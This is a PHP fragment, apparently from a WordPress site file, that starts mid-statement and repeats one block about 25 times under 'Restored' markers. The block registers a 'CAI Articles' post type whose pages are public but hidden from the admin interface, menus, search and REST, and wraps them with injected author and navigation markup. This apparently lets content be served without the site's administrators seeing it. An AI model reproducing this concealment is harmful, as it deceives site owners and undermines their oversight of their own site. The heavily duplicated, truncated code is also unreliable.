        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

